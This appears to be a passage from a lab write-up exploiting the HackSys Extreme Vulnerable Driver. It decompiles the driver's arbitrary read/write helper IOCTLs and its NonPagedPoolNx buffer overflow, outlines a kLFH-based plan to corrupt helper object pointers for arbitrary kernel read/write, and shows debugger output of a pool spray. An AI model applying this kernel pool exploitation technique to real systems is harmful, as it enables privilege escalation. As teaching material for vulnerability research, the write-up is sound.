goto LABEL_62;
case 0x222067u:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = SetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(
Irp,
CurrentStackLocation);
v7 = "****** HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n";
goto LABEL_62;
case 0x22206Bu:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(
Irp,
CurrentStackLocation);
v7 = "****** HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n";
goto LABEL_62;
case 0x22206Fu:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler(
Irp,
CurrentStackLocation);
v7 = "****** HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n";
goto LABEL_62;
...
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
(0x222063)
This function is responsible for creating the object in the kernel and indexing it in the array.
1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall CreateArbitraryReadWriteHelperObjectNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
_NAMED_PIPE_CREATE_PARAMETERS *Parameters; // rcx
__int64 result; // rax
Parameters = IrpSp->Parameters.CreatePipe.Parameters;
result = 0xC0000001LL;
if ( Parameters )
return CreateArbitraryReadWriteHelperObjectNonPagedPoolNx((_ARW_HELPER_OBJECT_IO *)Parameters);
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
__int64 __fastcall CreateArbitraryReadWriteHelperObjectNonPagedPoolNx(_ARW_HELPER_OBJECT_IO *HelperObjectIo)
{
SIZE_T Length; // r15
int FreeIndex; // eax
__int64 v4; // rsi
_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *PoolWithTag; // r14
PVOID v7; // r12
ProbeForRead(HelperObjectIo, 0x18u, 1u);
Length = HelperObjectIo->Length;
DbgPrintEx(0x4Du, 3u, "[+] Name Length: 0x%X\n", Length);
FreeIndex = GetFreeIndex();
v4 = FreeIndex;
if ( FreeIndex == -1 )
{
DbgPrintEx(0x4Du, 3u, "[-] Unable to find FreeIndex: 0x%X\n", -1);
return 0xFFFFFFFFLL;
}
else
{
DbgPrintEx(0x4Du, 3u, "[+] FreeIndex: 0x%X\n", FreeIndex);
DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk for ARWHelperObject\n");
PoolWithTag = (_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *)ExAllocatePoolWithTag(NonPagedPoolNx, 0x10u, 0x6B636148u);
if ( PoolWithTag )
{
DbgPrintEx(0x4Du, 3u, "[+] ARWHelperObject Pool Tag: %s\n", "'kcaH'");
DbgPrintEx(0x4Du, 3u, "[+] ARWHelperObject Pool Type: %s\n", "NonPagedPoolNx");
DbgPrintEx(0x4Du, 3u, "[+] ARWHelperObject Pool Size: 0x%X\n", 16);
DbgPrintEx(0x4Du, 3u, "[+] ARWHelperObject Pool Chunk: 0x%p\n", PoolWithTag);
DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk for Name\n");
v7 = ExAllocatePoolWithTag(NonPagedPoolNx, Length, 0x6B636148u);
if ( v7 )
{
DbgPrintEx(0x4Du, 3u, "[+] Name Pool Tag: %s\n", "'kcaH'");
DbgPrintEx(0x4Du, 3u, "[+] Name Pool Type: %s\n", "NonPagedPoolNx");
DbgPrintEx(0x4Du, 3u, "[+] Name Pool Size: 0x%X\n", Length);
DbgPrintEx(0x4Du, 3u, "[+] Name Pool Chunk: 0x%p\n", v7);
memset(v7, 0, Length);
PoolWithTag->Name = v7;
PoolWithTag->Length = Length;
DbgPrintEx(0x4Du, 3u, "[+] ARWHelperObject->Name: 0x%p\n", v7);
DbgPrintEx(0x4Du, 3u, "[+] ARWHelperObject->Length: 0x%X\n", PoolWithTag->Length);
g_ARWHelperObjectNonPagedPoolNx[v4] = PoolWithTag;
ProbeForWrite(HelperObjectIo, 0x18u, 1u);
HelperObjectIo->HelperObjectAddress = PoolWithTag;
DbgPrintEx(0x4Du, 3u, "[+] HelperObjectIo->HelperObjectAddress: 0x%p\n", PoolWithTag);
return 0;
}
else
{
DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk for Name\n");
return 0xC0000017LL;
}
}
else
{
DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk for ARWHelperObject\n");
return 0xC0000017LL;
}
}
}
Now without the debug messages:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall CreateArbitraryReadWriteHelperObjectNonPagedPoolNx(_ARW_HELPER_OBJECT_IO *HelperObjectIo)
{
SIZE_T Length; // r15
int FreeIndex; // eax
__int64 v4; // rsi
_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *PoolWithTag; // r14
PVOID v7; // r12
ProbeForRead(HelperObjectIo, 0x18u, 1u);
Length = HelperObjectIo->Length;
FreeIndex = GetFreeIndex();
v4 = FreeIndex;
if ( FreeIndex == -1 )
{
return 0xFFFFFFFFLL;
}
else
{
PoolWithTag = (_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *)ExAllocatePoolWithTag(NonPagedPoolNx, 0x10u, 'kcaH');
if ( PoolWithTag )
{
v7 = ExAllocatePoolWithTag(NonPagedPoolNx, Length, 0x6B636148u);
if ( v7 )
{
memset(v7, 0, Length);
PoolWithTag->Name = v7;
PoolWithTag->Length = Length;
g_ARWHelperObjectNonPagedPoolNx[v4] = PoolWithTag;
ProbeForWrite(HelperObjectIo, 0x18u, 1u);
HelperObjectIo->HelperObjectAddress = PoolWithTag;
return 0;
}
else
{
return 0xC0000017LL;
}
}
else
{
return 0xC0000017LL;
}
}
}
Basically, the first important thing done is to find a free Index
, which is done using the GetFreeIndex()
function, which is in charge of getting a free index and registering it in the array:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall GetFreeIndex()
{
unsigned int v0; // edx
_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX **v1; // rax
unsigned int v2; // ecx
v0 = -1;
v1 = g_ARWHelperObjectNonPagedPoolNx;
v2 = 0;
while ( *v1 )
{
++v2;
if ( (__int64)++v1 >= (__int64)&g_UseAfterFreeObjectNonPagedPool )
return v0;
}
return v2;
}
Next, we allocate a _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
struct using ExAllocatePoolWithTag
, and then we allocate a memory block of the size and contents specified in the ARW_HELPER_OBJECT_IO
structure from user mode. Finally, both the address of the allocation and its size are recorded in _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, and in ARW_HELPER_OBJECT_IO
, we store the _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
structure in the HelperObjectAddress
member.
SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
(0x222067)
This function is responsible for writing memory into the HelperObjectAddress
, which is the other object allocated in the kernel.
1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall SetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
_NAMED_PIPE_CREATE_PARAMETERS *Parameters; // rcx
__int64 result; // rax
Parameters = IrpSp->Parameters.CreatePipe.Parameters;
result = 3221225473LL;
if ( Parameters )
return SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx((_ARW_HELPER_OBJECT_IO *)Parameters);
return result;
}
The main function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(_ARW_HELPER_OBJECT_IO *HelperObjectIo)
{
void *Name; // rsi
void *HelperObjectAddress; // rdi
int IndexFromPointer; // eax
__int64 v5; // r14
SIZE_T Length; // rdx
ProbeForRead(HelperObjectIo, 0x18u, 1u);
Name = HelperObjectIo->Name;
HelperObjectAddress = HelperObjectIo->HelperObjectAddress;
DbgPrintEx(0x4Du, 3u, "[+] HelperObjectIo->Name: 0x%p\n", Name);
DbgPrintEx(0x4Du, 3u, "[+] HelperObjectIo->HelperObjectAddress: 0x%p\n", HelperObjectAddress);
IndexFromPointer = GetIndexFromPointer(HelperObjectAddress);
v5 = IndexFromPointer;
if ( IndexFromPointer == -1 )
{
DbgPrintEx(0x4Du, 3u, "[-] Unable to find index from pointer: 0x%p\n", HelperObjectAddress);
return 0xFFFFFFFFLL;
}
else
{
DbgPrintEx(0x4Du, 3u, "[+] Index: 0x%X Pointer: 0x%p\n", IndexFromPointer, HelperObjectAddress);
if ( Name )
{
Length = g_ARWHelperObjectNonPagedPoolNx[v5]->Length;
if ( Length )
{
ProbeForRead(Name, Length, 1u);
DbgPrintEx(
0x4Du,
3u,
"[+] Copying src: 0x%p dst: 0x%p len: 0x%X\n",
Name,
g_ARWHelperObjectNonPagedPoolNx[v5]->Name,
g_ARWHelperObjectNonPagedPoolNx[v5]->Length);
memmove(g_ARWHelperObjectNonPagedPoolNx[v5]->Name, Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Length);
}
}
return 0;
}
}
Now without the prints:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(_ARW_HELPER_OBJECT_IO *HelperObjectIo)
{
void *Name; // rsi
void *HelperObjectAddress; // rdi
int IndexFromPointer; // eax
__int64 v5; // r14
SIZE_T Length; // rdx
ProbeForRead(HelperObjectIo, 0x18u, 1u);
Name = HelperObjectIo->Name;
HelperObjectAddress = HelperObjectIo->HelperObjectAddress;
IndexFromPointer = GetIndexFromPointer(HelperObjectAddress);
v5 = IndexFromPointer;
if ( IndexFromPointer == -1 )
{
return 0xFFFFFFFFLL;
}
else
{
if ( Name )
{
Length = g_ARWHelperObjectNonPagedPoolNx[v5]->Length;
if ( Length )
{
ProbeForRead(Name, Length, 1u);
memmove(g_ARWHelperObjectNonPagedPoolNx[v5]->Name, Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Length);
}
}
return 0;
}
}
The first step is to obtain the index just like in the previous function. This time, it’s assumed that the object is already in the pool, so the only thing needed is to find where it is. For that, it will use GetIndexFromPointer
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall GetIndexFromPointer(void *Pointer)
{
__int64 result; // rax
unsigned int v2; // edx
void **v4; // rcx
result = 0xFFFFFFFFLL;
v2 = 0;
if ( Pointer )
{
v4 = (void **)g_ARWHelperObjectNonPagedPoolNx;
while ( *v4 != Pointer )
{
++v2;
if ( (__int64)++v4 >= (__int64)&g_UseAfterFreeObjectNonPagedPool )
return result;
}
return v2;
}
return result;
}
Then this line is executed, which is the truly important one:
1
2
3
...
memmove(g_ARWHelperObjectNonPagedPoolNx[v5]->Name, Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Length);
...
Basically, what we’re doing is setting information from HelperObjectIo->Name
into kernel address space, more specifically into the Name
field of the allocated structure, again, based on the information passed to kernel mode through _ARW_HELPER_OBJECT_IO
.
GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
(0x22206B)
This function is responsible for reading memory which is allocated on the HelperObjectAddress
, which is the other object allocated in the kernel.
1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
_NAMED_PIPE_CREATE_PARAMETERS *Parameters; // rcx
__int64 result; // rax
Parameters = IrpSp->Parameters.CreatePipe.Parameters;
result = 3221225473LL;
if ( Parameters )
return GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx((_ARW_HELPER_OBJECT_IO *)Parameters);
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(_ARW_HELPER_OBJECT_IO *HelperObjectIo)
{
void *Name; // r14
void *HelperObjectAddress; // rdi
int IndexFromPointer; // eax
__int64 v5; // rsi
_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *v7; // rdx
SIZE_T Length; // rdx
ProbeForRead(HelperObjectIo, 0x18u, 1u);
Name = HelperObjectIo->Name;
HelperObjectAddress = HelperObjectIo->HelperObjectAddress;
IndexFromPointer = GetIndexFromPointer(HelperObjectAddress);
v5 = IndexFromPointer;
if ( IndexFromPointer == -1 )
{
return 0xFFFFFFFFLL;
}
else
{
v7 = g_ARWHelperObjectNonPagedPoolNx[v5];
if ( v7->Name )
{
Length = v7->Length;
if ( Length )
{
ProbeForWrite(Name, Length, 1u);
memmove(Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Length);
}
}
return 0;
}
}
First, we obtain the Index
just like before. Then, basically what we’re doing is retrieving information from the kernel and moving it into HelperObjectIo->Name
, again based on the information provided to kernel mode through _ARW_HELPER_OBJECT_IO
.
All of this is essentially done in the following line:
1
2
3
...
memmove(Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Name, g_ARWHelperObjectNonPagedPoolNx[v5]->Length);
...
DeleteArbitraryReadWriteHelperObjecNameNonPagedPoolNx
(0x22206F)
1
2
3
4
5
6
7
8
9
10
11
int __fastcall DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
_NAMED_PIPE_CREATE_PARAMETERS *Parameters; // rcx
int result; // eax
Parameters = IrpSp->Parameters.CreatePipe.Parameters;
result = 0xC0000001;
if ( Parameters )
return DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx((_ARW_HELPER_OBJECT_IO *)Parameters);
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx(_ARW_HELPER_OBJECT_IO *HelperObjectIo)
{
void *HelperObjectAddress; // rdi
int IndexFromPointer; // eax
__int64 v4; // rsi
void *Name; // rcx
ProbeForRead(HelperObjectIo, 0x18u, 1u);
HelperObjectAddress = HelperObjectIo->HelperObjectAddress;
DbgPrintEx(0x4Du, 3u, "[+] HelperObjectIo->HelperObjectAddress: 0x%p\n", HelperObjectAddress);
IndexFromPointer = GetIndexFromPointer(HelperObjectAddress);
v4 = IndexFromPointer;
if ( IndexFromPointer == -1 )
{
DbgPrintEx(0x4Du, 3u, "[-] Unable to find index from pointer: 0x%p\n", HelperObjectAddress);
return 0xFFFFFFFFLL;
}
else
{
DbgPrintEx(0x4Du, 3u, "[+] Index: 0x%X Pointer: 0x%p\n", IndexFromPointer, HelperObjectAddress);
Name = g_ARWHelperObjectNonPagedPoolNx[v4]->Name;
if ( Name )
ExFreePoolWithTag(Name, 0x6B636148u);
ExFreePoolWithTag(g_ARWHelperObjectNonPagedPoolNx[v4], 0x6B636148u);
g_ARWHelperObjectNonPagedPoolNx[v4] = 0;
return 0;
}
}
I won’t go too deep into this one, this function helps us delete objects from the pool, freeing all allocated spaces and marking their position in the Index
array as free, all based on index logic.
Now that we’ve covered all the objects, let’s move on to the final piece of our puzzle, the buffer overflow. You may be wondering: What good is a buffer overflow for us? Good question. Here’s the plan:
Following the logic of the objects, we can conclude that one object indeed points to another via the HelperObjectAddress
field. But what we want is to create our own _ARW_HELPER_OBJECT_IO
struct at a controlled location and overwrite the address of our struct on top of where a generic one would go. Then, we locate the overwrite and gain arbitrary read/write capabilities by taking advantage of the kLFH. This is done by using Set
with the struct index affected by the buffer overflow, and then reading it back using Get
toward our controlled struct.
Pool Buffer Overflow
But to do all of this, we first need to understand how the function that allows us to perform the overflow works.
TriggerBufferOverflowNonPagedPoolNx
(0x22204b)
1
2
3
4
5
6
7
...
case 0x22204Bu:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = BufferOverflowNonPagedPoolNxIoctlHandler(Irp, CurrentStackLocation);
v7 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX ******\n";
goto LABEL_62;
...
1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall BufferOverflowNonPagedPoolNxIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
_NAMED_PIPE_CREATE_PARAMETERS *Parameters; // rcx
__int64 result; // rax
size_t Options; // rdx
Parameters = IrpSp->Parameters.CreatePipe.Parameters;
result = 0xC0000001LL;
Options = IrpSp->Parameters.Create.Options;
if ( Parameters )
return TriggerBufferOverflowNonPagedPoolNx(Parameters, Options);
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall TriggerBufferOverflowNonPagedPoolNx(void *UserBuffer, size_t Size)
{
PVOID PoolWithTag; // rdi
DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk\n");
PoolWithTag = ExAllocatePoolWithTag(NonPagedPoolNx, 0x10u, 'kcaH');
if ( PoolWithTag )
{
DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPoolNx");
DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 16);
DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
ProbeForRead(UserBuffer, 0x10u, 1u);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", PoolWithTag);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 16);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in NonPagedPoolNx\n");
memmove(PoolWithTag, UserBuffer, Size);
DbgPrintEx(0x4Du, 3u, "[+] Freeing Pool chunk\n");
DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
ExFreePoolWithTag(PoolWithTag, 'kcaH');
return 0;
}
else
{
DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
return 0xC0000017LL;
}
}
Basically, it’s as simple as this line:
1
2
3
...
memmove(PoolWithTag, UserBuffer, Size);
...
We’re simply moving the content we want, with the size we want, into a pool block.
The size of the allocation is 0x10
so we have no any problem:
1
2
3
...
PoolWithTag = ExAllocatePoolWithTag(NonPagedPoolNx, 0x10u, 'kcaH');
...
Before diving into the exploit, I’d like to show both a full block allocation by KlfhHEVD
and extract the _POOL_HEADER
since we’ll need it for the overflow overwrite to avoid corrupting the HEAP:
1: kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007ffb`7d0cd642 cc int 3
3: kd> dq rcx
000000d8`f11f0a28 00000000`00000000 90909090`90909090
000000d8`f11f0a38 ffffa508`9e59ad10 00000000`00000000
000000d8`f11f0a48 00000000`00000008 00000000`00000000
000000d8`f11f0a58 00000000`00000000 00000000`00000000
000000d8`f11f0a68 00000000`00000000 00000000`00000000
000000d8`f11f0a78 00000000`00000000 00000000`00000000
000000d8`f11f0a88 00000000`00000000 00000000`00000000
000000d8`f11f0a98 00000000`00000000 00000000`00000000
3: kd> r
rax=0000000000000001 rbx=0000000000001388 rcx=000000d8f11f0a28
rdx=0000000000000000 rsi=00007ff6c5dbffc0 rdi=000000000000270e
rip=00007ffb7d0cd642 rsp=000000d8f11f09c8 rbp=000000d8f11f0ad0
r8=000000d8f11f0908 r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=00007ff6c5d85670 r13=0000000000000000
r14=00000000000000b8 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0033:00007ffb`7d0cd642 cc int 3
3: kd> !pool ffffa508`9e59ad10
Pool page ffffa5089e59ad10 region is Nonpaged pool
ffffa5089e59a000 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a020 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a040 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a060 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a080 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a0a0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a0c0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a0e0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a100 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a120 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a140 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a160 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a180 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a1a0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a1c0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a1e0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a200 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a220 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a240 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a260 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a280 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a2a0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a2c0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a2e0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a300 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a320 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a340 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a360 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a380 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a3a0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a3c0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a3e0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a400 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a420 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a440 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a460 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a480 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a4a0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a4c0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a4e0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a500 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a520 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a540 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a560 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a580 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a5a0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a5c0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a5e0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a600 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a620 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a640 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a660 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a680 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a6a0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a6c0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a6e0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a700 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a720 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a740 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a760 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a780 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a7a0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a7c0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a7e0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a800 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a820 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a840 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a860 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a880 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a8a0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a8c0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a8e0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a900 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a920 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a940 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a960 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a980 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a9a0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a9c0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59a9e0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59aa00 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59aa20 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59aa40 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59aa60 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59aa80 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59aaa0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59aac0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59aae0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ab00 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ab20 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ab40 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ab60 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ab80 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59aba0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59abc0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59abe0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ac00 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ac20 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ac40 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ac60 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ac80 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59aca0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59acc0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ace0 size: 20 previous size: 0 (Allocated) Hack
*ffffa5089e59ad00 size: 20 previous size: 0 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
ffffa5089e59ad20 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ad40 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ad60 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ad80 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ada0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59adc0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ade0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ae00 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ae20 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ae40 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ae60 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59ae80 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59aea0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59aec0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59aee0 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59af00 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59af20 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59af40 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59af60 size: 20 previous size: 0 (Allocated) Hack
ffffa5089e59af80 size: 20 previous size: 0 (Allocated) Hack
